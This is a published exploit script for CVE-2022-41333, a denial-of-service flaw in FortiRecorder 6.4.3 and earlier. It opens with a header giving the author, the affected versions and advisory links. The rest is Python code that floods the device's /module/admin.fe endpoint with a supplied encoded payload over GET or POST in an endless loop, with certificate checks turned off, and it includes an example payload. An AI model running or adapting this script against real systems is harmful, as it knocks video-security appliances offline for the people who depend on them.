FortiRecorder 6.4.3 Denial Of Service

`# Exploit Title: FortiRecorder 6.4.3 - Denial of Service  
# Google Dork: N/A  
# Date: 13/03/2023  
# Exploit Author: Mohammed Adel  
# Vendor Homepage: https://www.fortinet.com/  
# Software Link: https://www.fortinet.com/products/network-based-video-security/forticam-fortirecorder  
# Version: 6.4.3 and below && 6.0.11 to 6.0.0  
# Tested on: Kali Linux  
# CVE : CVE-2022-41333  
# Security Advisory: https://www.fortiguard.com/psirt/FG-IR-22-388  
# Technical Analysis: https://medium.com/@0xpolar/cve-2022-41333-71eb289d60b5  
  
import requests  
import warnings  
import sys  
from urllib.parse import unquote  
warnings.filterwarnings('ignore', message='Unverified HTTPS request')  
  
def POST(target, req_type, payload):  
print("[+] Target : "+target)  
print("[+] Request Type: POST")  
print("[+] Payload : " +payload)  
post_url = target+"/module/admin.fe"  
post_headers = {"User-Agent": "CVE-2022-41333", "Content-Type": "application/x-www-form-urlencoded"}  
url_decoder = unquote(payload)  
full_payload = "fewReq="+url_decoder  
while True:  
r = requests.post(post_url, headers=post_headers, data=full_payload, verify=False)  
if "Failed: Access denied" in r.text:  
print("[+] Payload Sent.")  
else:  
print("[!] Something went wrong!")  
print(r.text)  
  
def GET(target, req_type, payload):  
print("[+] Target : "+target)  
print("[+] Request Type: GET")  
print("[+] Payload : " +payload)  
while True:  
url = target+"/module/admin.fe?fewReq="+payload  
headers = {"User-Agent": "CVE-2022-41333", "Connection": "close"}  
r = requests.get(url, headers=headers, verify=False)  
if "Failed: Access denied" in r.text:  
print("[+] Payload Sent.")  
else:  
print("[!] Something went wrong!")  
print(r.text)  
  
  
print("[+] Starting ..")  
target = str((sys.argv[1])) # https://fortirecorder.fortidemo.com  
req_type = str((sys.argv[2])) # POST or GET  
payload = str((sys.argv[3])) # :B:JSsrJW16blB9dXp8ayJMZmxcfnJee3J2cTltem5efGt2cHEiLio5amx6bXF+cnoi  
  
  
if "post" in req_type.lower():  
if "https" in target.lower() or "http" in target.lower():  
POST(target, req_type, payload)  
else:  
print("[!] Invalid Target. [Ex: https://fortirecorder.fortidemo.com]")  
elif "get" in req_type.lower():  
if "https" in target.lower() or "http" in target.lower():  
GET(target, req_type, payload)  
else:  
print("[!] Invalid Target. [Ex: https://fortirecorder.fortidemo.com]")  
else:  
print("[!] Invalid Request Type.")  
  
  
`